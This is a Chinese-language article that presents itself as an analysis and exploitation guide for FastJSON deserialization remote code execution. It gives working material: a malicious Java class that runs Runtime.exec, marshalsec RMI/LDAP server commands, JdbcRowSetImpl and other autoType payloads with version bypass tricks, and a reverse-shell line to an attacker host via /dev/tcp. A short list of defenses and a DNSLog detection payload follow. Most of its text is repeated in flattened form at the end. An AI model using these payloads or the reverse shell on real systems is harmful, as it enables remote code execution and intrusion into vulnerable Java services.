某json远程命令执行漏洞总结
字数 1732 2025-08-05 00:15:18

FastJSON反序列化漏洞全面解析与利用指南

1. FastJSON基础与漏洞背景

FastJSON是阿里巴巴开发的一款高性能JSON处理库,用于实现Java对象与JSON之间的相互转换。它支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。

1.1 FastJSON基本用法

// 将json字符串转换为json对象
JSONObject obj = JSON.parseObject(jsonStr);

1.2 相关技术背景

JNDI (Java Naming and Directory Interface)

  • 提供统一的客户端API,用于查找和访问各种命名和目录服务
  • 支持的服务包括:DNS、LDAP、CORBA对象服务、RMI
  • 可以根据名字动态加载数据

RMI (Remote Method Invocation)

  • Java环境设计的远程方法调用机制
  • 依赖JRMP协议(Java Remote Message Protocol)
  • 对象通过序列化方式进行编码传输

2. JNDI注入原理

2.1 利用JNDI References进行注入

RMI服务端可以通过References类绑定外部远程对象。当客户端使用lookup获取对应名字时:

  1. 服务端返回ReferenceWrapper代理
  2. 客户端调用getReference()获取Reference类
  3. 通过factory类将Reference转换为具体对象实例

服务端示例代码

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIServer {
    public static void main(String args[]) throws Exception {
        Registry registry = LocateRegistry.createRegistry(1099);
        // 参数:className, factory, factoryLocation
        Reference refObj = new Reference("Evil", "EvilObject", "http://127.0.0.1:8000/");
        ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
        registry.bind("refObj", refObjWrapper);
    }
}

客户端示例代码

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;

public class JNDIClient {
    public static void main(String[] args) throws Exception {
        try {
            Context ctx = new InitialContext();
            ctx.lookup("rmi://localhost:8000/refObj");
        } catch (NamingException e) {
            e.printStackTrace();
        }
    }
}

2.2 利用流程

  1. 开启HTTP服务器,放置恶意类
  2. 开启恶意RMI服务器
  3. 攻击者控制url参数指向恶意RMI服务器
  4. 恶意RMI服务器返回ReferenceWrapper类
  5. 目标执行lookup时加载并实例化恶意类

Java版本限制

  • 基于RMI的利用:JDK 6u132,7u131,8u121之前
  • 基于LDAP的利用:JDK 11.0.1、8u191、7u201、6u211之前
  • 在Java 8u191+版本中,Oracle对LDAP向量设置了限制(CVE-2018-3149)

3. FastJSON漏洞详解

3.1 Fastjson 1.2.24反序列化漏洞(CVE-2017-18349)

漏洞原理
FastJson在解析json时支持使用autoType实例化类并调用set/get方法。攻击者可传入危险类,连接远程RMI主机执行恶意代码。

影响版本:Fastjson < 1.2.25

利用步骤

  1. 编写恶意类:
import java.lang.Runtime;
import java.lang.Process;

public class zcc {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"touch", "/tmp/zcctest"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {}
    }
}
  1. 编译并开启HTTP服务:
javac zcc.java
python -m SimpleHTTPServer 80
  1. 启动RMI服务器:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://your-ip/#zcc" 9999
  1. 发送恶意Payload:
{
    "@type": "com.sun.rowset.JdbcRowSetImpl",
    "dataSourceName": "rmi://your-ip:9999/zcc",
    "autoCommit": true
}

反弹Shell示例

String[] commands = {"/bin/bash", "-c", "bash -i >& /dev/tcp/attacker-ip/port 0>&1"};

3.2 Fastjson 1.2.47远程命令执行漏洞

漏洞原理
1.2.24版本后增加了反序列化白名单,但在1.2.48前版本中,攻击者可构造特殊json字符串绕过白名单检测。

影响版本:Fastjson < 1.2.47

利用方法
与1.2.24类似,但使用不同的Payload构造方式。

3.3 其他版本绕过技术

1.2.41及以下版本

  • 绕过方法:在类名头部加L,尾部加;
{
    "@type":"Lcom.sun.rowset.JdbcRowSetImpl;",
    "dataSourceName":"rmi://x.x.x.x:9999/exploit",
    "autoCommit":true
}

1.2.42及以下版本

  • 绕过方法:嵌套两层L;
{
    "@type":"LLcom.sun.rowset.JdbcRowSetImpl;;",
    "dataSourceName":"rmi://x.x.x.x:9999/exploit",
    "autoCommit":true
}

1.2.45及以下版本

  • 前提:目标存在mybatis 3.x.x(<3.5.0)的jar包
  • 使用org.apache.ibatis.datasource类(1.2.46加入黑名单)

1.2.47及以下版本

  • 通杀<1.2.48版本,autoType关闭也可用
  • 利用java.lang.Class缓存机制绕过黑名单

1.2.62及以下版本

{
    "@type":"org.apache.xbean.propertyeditor.JndiConverter",
    "AsText":"rmi://x.x.x.x:9999/exploit"
}

1.2.66及以下版本

  • 基于黑名单绕过,需autoTypeSupport为true

4. 防御措施

  1. 升级FastJSON到最新版本
  2. 关闭autoType功能
  3. 使用安全模式配置
  4. 升级JDK到最新版本
  5. 实施网络隔离,限制外连请求

5. 检测方法

  1. 使用DNSLog检测:
{
    "@type":"com.sun.rowset.JdbcRowSetImpl",
    "dataSourceName":"rmi://dnslog.cn/test",
    "autoCommit":true
}
  1. 报错检测法:发送畸形JSON数据观察响应

6. 工具使用

marshalsec工具

# 编译
git clone https://github.com/mbechler/marshalsec.git
mvn clean package -DskipTests

# 启动RMI服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://your-ip/#classname" port

# 启动LDAP服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://your-ip/#classname" port

漏洞利用流程总结

  1. 编写恶意Java类并编译
  2. 开启HTTP服务托管class文件
  3. 使用marshalsec开启RMI/LDAP服务
  4. 构造特定Payload发送给目标
  5. 观察命令执行结果或建立反向连接
FastJSON反序列化漏洞全面解析与利用指南 1. FastJSON基础与漏洞背景 FastJSON是阿里巴巴开发的一款高性能JSON处理库,用于实现Java对象与JSON之间的相互转换。它支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。 1.1 FastJSON基本用法 1.2 相关技术背景 JNDI (Java Naming and Directory Interface) 提供统一的客户端API,用于查找和访问各种命名和目录服务 支持的服务包括:DNS、LDAP、CORBA对象服务、RMI 可以根据名字动态加载数据 RMI (Remote Method Invocation) Java环境设计的远程方法调用机制 依赖JRMP协议(Java Remote Message Protocol) 对象通过序列化方式进行编码传输 2. JNDI注入原理 2.1 利用JNDI References进行注入 RMI服务端可以通过References类绑定外部远程对象。当客户端使用lookup获取对应名字时: 服务端返回ReferenceWrapper代理 客户端调用getReference()获取Reference类 通过factory类将Reference转换为具体对象实例 服务端示例代码 : 客户端示例代码 : 2.2 利用流程 开启HTTP服务器,放置恶意类 开启恶意RMI服务器 攻击者控制url参数指向恶意RMI服务器 恶意RMI服务器返回ReferenceWrapper类 目标执行lookup时加载并实例化恶意类 Java版本限制 : 基于RMI的利用:JDK 6u132,7u131,8u121之前 基于LDAP的利用:JDK 11.0.1、8u191、7u201、6u211之前 在Java 8u191+版本中,Oracle对LDAP向量设置了限制(CVE-2018-3149) 3. FastJSON漏洞详解 3.1 Fastjson 1.2.24反序列化漏洞(CVE-2017-18349) 漏洞原理 : FastJson在解析json时支持使用autoType实例化类并调用set/get方法。攻击者可传入危险类,连接远程RMI主机执行恶意代码。 影响版本 :Fastjson < 1.2.25 利用步骤 : 编写恶意类: 编译并开启HTTP服务: 启动RMI服务器: 发送恶意Payload: 反弹Shell示例 : 3.2 Fastjson 1.2.47远程命令执行漏洞 漏洞原理 : 1.2.24版本后增加了反序列化白名单,但在1.2.48前版本中,攻击者可构造特殊json字符串绕过白名单检测。 影响版本 :Fastjson < 1.2.47 利用方法 : 与1.2.24类似,但使用不同的Payload构造方式。 3.3 其他版本绕过技术 1.2.41及以下版本 绕过方法:在类名头部加 L ,尾部加 ; 1.2.42及以下版本 绕过方法:嵌套两层 L 和 ; 1.2.45及以下版本 前提:目标存在mybatis 3.x.x( <3.5.0)的jar包 使用 org.apache.ibatis.datasource 类(1.2.46加入黑名单) 1.2.47及以下版本 通杀 <1.2.48版本,autoType关闭也可用 利用 java.lang.Class 缓存机制绕过黑名单 1.2.62及以下版本 1.2.66及以下版本 基于黑名单绕过,需autoTypeSupport为true 4. 防御措施 升级FastJSON到最新版本 关闭autoType功能 使用安全模式配置 升级JDK到最新版本 实施网络隔离,限制外连请求 5. 检测方法 使用DNSLog检测: 报错检测法:发送畸形JSON数据观察响应 6. 工具使用 marshalsec工具 : 漏洞利用流程总结 : 编写恶意Java类并编译 开启HTTP服务托管class文件 使用marshalsec开启RMI/LDAP服务 构造特定Payload发送给目标 观察命令执行结果或建立反向连接